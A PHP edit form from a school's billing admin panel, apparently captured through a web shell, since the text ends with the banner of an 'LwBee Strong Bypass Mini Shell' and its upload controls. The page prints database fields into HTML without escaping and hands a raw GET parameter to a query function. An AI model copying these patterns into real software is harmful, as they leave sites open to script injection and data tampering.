/home3/vehiclea/public_html/admin-appleiitfoundationschools-com/BillbookEdit.php
<?php
   include('include/header.php');
   
   
   $select_branch = select_branch();
   $BillBookcategoryData = BillBookcategoryData();
    $selectAcademicYear = select_academic();
    $select_category = selectBillCategory();
  
?>



  <link rel="stylesheet" href="//code.jquery.com/ui/1.13.1/themes/base/jquery-ui.css">
  <link rel="stylesheet" href="/resources/demos/style.css">
  <script src="https://code.jquery.com/jquery-3.6.0.js"></script>
  <script src="https://code.jquery.com/ui/1.13.1/jquery-ui.js"></script>



<main id="main" class="main">

<div class="pagetitle">
  <h1>Daybook Credit</h1>
  <nav>
    <ol class="breadcrumb">
      <li class="breadcrumb-item"><a href="index.php">Home</a></li>
      <li class="breadcrumb-item">Billbook Credit Edit</li>
    </ol>
  </nav>
</div><!-- End Page Title -->


    <section class="section">
      <div class="row">
        <div class="col-lg-12">

          <div class="card">
            <div class="card-body">
              <h5 class="card-title">Update Billbook Credit Entry</h5>


<?php
  if(!empty($_GET['edit']))
   {
       $select_BillData = BillSelectData($_GET['edit']);
       $BillData = mysqli_fetch_array($select_BillData);

   }
if(!empty($_POST['submit'])){
    EditBillBookData();
}

?>

 
     <form method="post" onsubmit=" return book_validation()">
               <div class="row">
                 <div class="col-md-3">
                       <label for="exampleInputEmail1" class="form-label">Bill No</label>
                       <textarea id="billNo" name="billNo" class="form-control noSpace"><?php echo $BillData['billNo'] ?></textarea>
                    </div>
                 <div class="col-md-3">
                        <label class="form-label">Academic Year</label> 
                        <select name="academicYear" class="form-control" id="academicYear">
                                <option value="">Please Select Academic Year</option>
                                <?php
                                while($academicYear = mysqli_fetch_array($selectAcademicYear))
                                {
                                ?>
                                <option value="<?= $academicYear['yearOf']?>" <?php if($BillData['academicYear']==$academicYear['yearOf']){ echo "selected";}?>> <?= $academicYear['yearOf'] ?> </option>
                                <?php } ?>
                             </select>

                        
                    </div>
                 <div class="col-md-3">
                        <label for="exampleInputEmail1" class="form-label">Date</label> 
                        <input class="form-control" value="<?=$BillData['date'] ?>" required="required" id="datepicker" required="required" name="date" type="text"/>
                    </div>


                       <?php if($_SESSION['user'] == 'admin') { ?>

                  <div class="col-md-3">
                        <label for="exampleInputEmail1" class="form-label">Branch Name</label>
                            <select name="branch_name" id="branch_name" class="form-control" >
                               
                                <?php
                                while($branch = mysqli_fetch_array($select_branch)){
                                ?>
                                <option value="<?= $branch['branch_name']?>" <?php if($BillData['branch_name']==$branch['branch_name']){ echo "selected";}?>><?= $branch['branch_name']?></option>
                                <?php }?>
                             </select>
                      </div>


       <?php } else { ?>  
                    <div class="col-md-3">
                         <label for="exampleInputEmail1" class="form-label">Branch Name</label>
                        <input type="text" class="form-control" id="type" value="<?php echo $_SESSION['branchName']; ?>" name="type" readonly>
                    </div>  
                    <?php } ?>


                      <div class="col-md-3">
                         <label for="exampleInputEmail1" class="form-label">Category Name</label>
                            <select name="category_name" id="category_name" class="form-control">
                                
                                <?php
                                while($category = mysqli_fetch_array($select_category)){
                                ?>
                                 <option value="<?= $category['category_name']?>" <?php if($BillData['category_name']==$category['category_name']){ echo "selected";}?>><?= $category['category_name']?></option>
                                <?php }?>
                                
                            </select>
                       </div>
                         <div class="col-md-3">
                       <label for="exampleInputEmail1" class="form-label">Reason</label>
                       <textarea id="reason" name="reason" class="form-control"><?php echo $BillData['reason'] ?></textarea>
                    </div>
                    <div class="col-md-3">
                         <label for="exampleInputEmail1" class="form-label">Amount</label>
                        <input type="text" class="form-control noSpace" id="amount" name="amount" value="<?php echo $BillData['amount'] ?>">
                    </div> 

                   <!--  <div class="col-md-3">
                         <label for="exampleInputEmail1" class="form-label">Type</label>
                        <input type="text" class="form-control" id="type" value="<?php echo $debitData['type'] ?>" name="type" readonly>
                    </div>  -->
                  </div>
                  <input type="hidden" name="edit_data" id="edit_data" value="<?php echo $BillData['id']?>">
                <div class="mt-4">
                   <input type="submit" class="btn btn-primary" value="Update" style="background-color: #69F0AE; color: #000000;" name="submit">
                </div>
           </form>

   
    </div>
  
   
  </div>

        </div>
      </div>
    </section>
</main><!-- End #main -->
 
 <script src="https://code.jquery.com/jquery-1.11.1.min.js"></script>
  <script src="https://cdn.jsdelivr.net/jquery.validation/1.16.0/jquery.validate.min.js"></script>
  <script src="https://cdn.jsdelivr.net/jquery.validation/1.16.0/additional-methods.min.js"></script>
  <script src="https://unpkg.com/sweetalert/dist/sweetalert.min.js"></script>

  <script>
    function book_validation()
    {
      
        var billNo = $('#billNo').val()
        var branchname = $('#branch_name').val();
        var category_name = $('#category_name').val();
        var price = $('#price').val();
        var academicYear = $('#academicYear').val();
        var price = $('#amount').val();
        var datepicker = $('#datepicker').val();
        var reason = $('#reason').val(); 

        if(billNo == '')
        {
          swal('Please Enter Bill Number');
          return false;
        }
         else if(academicYear == '')
        {
          swal('Please Select academic year');
          return false;
        }
           else if(datepicker == '')
        {
          swal('Please Select Date');
          return false;
        }
        else if(branchname == '')
        {
          swal('Please Enter Branch Name');
          return false;
        }
       else if(category_name == '')
        {
          swal('Please Enter Category Name');
          return false;
        }
        else if(price == '')
        {
          swal('Please Enter price');
          return false;
        } 
        else if(isNaN(price))
        {
          swal('Please Enter Numbers only');
          return false;
        }
       
        else if(reason == '')
        {
          swal('Please Enter reason');
          return false;
        } 
       
        else{
          return true;
        }
    }
  </script>

  <script>
  $('.noSpace').keyup(function() {
 this.value = this.value.replace(/\s/g,'');
});
</script>
  <?php include('include/footer.php'); ?>
@LwBee Strong Bypass

LwBee Strong Bypass Mini Shell

Upload File

Create New File